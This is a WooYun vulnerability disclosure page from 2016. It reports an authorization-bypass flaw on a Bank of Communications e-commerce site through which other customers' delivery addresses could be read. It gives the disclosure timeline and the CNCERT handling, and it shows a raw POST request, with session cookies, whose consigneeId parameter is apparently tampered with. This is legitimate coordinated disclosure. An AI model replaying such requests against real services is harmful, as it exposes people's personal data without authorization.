当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0204958

漏洞标题：交通银行某站越权获取他人地址

相关厂商：交通银行

漏洞作者： Vern

提交时间：2016-05-04 17:40

修复时间：2016-06-20 17:40

公开时间：2016-06-20 17:40

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-04： 细节已通知厂商并且等待厂商处理中
2016-05-06： 厂商已经确认，细节仅向厂商公开
2016-05-16： 细节向核心白帽子及相关领域专家公开
2016-05-26： 细节向普通白帽子公开
2016-06-05： 细节向实习白帽子公开
2016-06-20： 细节向公众公开

简要描述：

交通银行某站越权获取他人地址

详细说明：

111.png


2222.png


POST /customer/cartinfo/gotoOrder.html HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://**.**.**.**/customer/cartinfo/gotocounter.html
Cookie: _tcs=292fa0d6-1715-4849-9d8a-df7f3a5abde7; NCtrack_2016_Page_View_10=24; NCtrack_2016_First_Time_10=1462343986434; NCtrack_2016_Cookie_Global_User_Id=_ck16050414394614412620895312797; NCtrack_2016_Return_Time_10=1462343986434; NCtrack_2016_Msrc_Channel_10=market_type_direct_input%7C2016-05-04; NCtrack_2016_Main_Website_10=_ck16050414394614412620895312797%7C10%7C%7C1002%7C; JSESSIONID=0000CDfVGb9MgYxGQ7InGT_1Yqt:1a6mben41; IDMAUTH=true; _channel=CLUB; NCtrack_2016_Effective_Vis_10=1; Hm_lvt_e0160b501af361ae64aef9114d1c8181=1462344837; Hm_lpvt_e0160b501af361ae64aef9114d1c8181=1462345718
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1493
rushQueueId=&errorPage=pay_error_new&orderPsfScore=0&orderPayType=0&scorePayType=0&prodHbAndLjStr=&bonusId=&psf=0&cart=%7B%22prodId%22%3A%2210048986%22%2C%22name%22%3A%22%E5%B0%8F%E7%B1%B3+%E5%B0%8F%E7%B1%B3%E7%A7%BB%E5%8A%A8%E7%94%B5%E6%BA%9010000mAh%E5%85%85%E7%94%B5%E5%AE%9D+%E9%93%B6%E8%89%B2%22%2C%22originPrice%22%3A%2279.00%22%2C%22price%22%3A%2279.00%22%2C%22instNum%22%3A%221%22%2C%22oneCash%22%3A%2279.00%22%2C%22oneScoreNum%22%3A0%2C%22isOnlyScore%22%3A0%2C%22onlyScore%22%3A%22%22%2C%22instPrice%22%3A%22%22%2C%22isPutinFamily%22%3A%22%22%2C%22prodAmt%22%3A%221%22%2C%22putinCartTime%22%3A%222016-05-04+15%3A08%3A36%22%2C%22isInstallment%22%3A0%2C%22cartType%22%3A%2201%22%2C%22markupPrice%22%3A%22%22%2C%22markupReason%22%3A%22%22%2C%22markupWhy%22%3A%22%22%2C%22mealId%22%3A%22%22%2C%22memberId%22%3A%22%22%2C%22isHavaSpecStorage%22%3A%221%22%2C%22deliverSpec%22%3A%22200060%40%E9%93%B6%E8%89%B2%22%2C%22storage%22%3A%226632%22%2C%22isSel%22%3A1%2C%22error%22%3A%220%2C0%22%2C%22isBrandshopProd%22%3A%220%22%2C%22instScore%22%3A%22%22%2C%22instTotalPrice%22%3A%2279.00%22%7D&consigneeId=1010665167&ccard=&invoiceTitle=%E4%B8%AA%E4%BA%BA&invoiceType=0&scoreCostNum=&randomCookie=&payCardFlag=0&consigneeMobile=&useFavorCode=&useFavorMobile=&favorCard=&isNeedFavorMobile=0&consigneeList=&prodkeys=&hbInfokeys=&newPayCard=&paygateCardNum=&GTPAddrInfor=&gtpConId=&gtpConEmail=&gtpConTel=&gtpConZip=&gtpConProvince=&gtpConCity=&gtpConCounty=&gtpConAddress=&addAccpcheck=on&orderMemo=

漏洞证明：

3333.png


4444.png


555.png


修复方案：

版权声明：转载请注明来源 Vern@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2016-05-06 17:35

厂商回复：

CNVD确认所述情况,已经转由CNCERT直接通报给交通银行集团公司,由其后续协调网站管理部门处置. 同时发上海分中心处置。

最新状态：

暂无

漏洞评价：

评价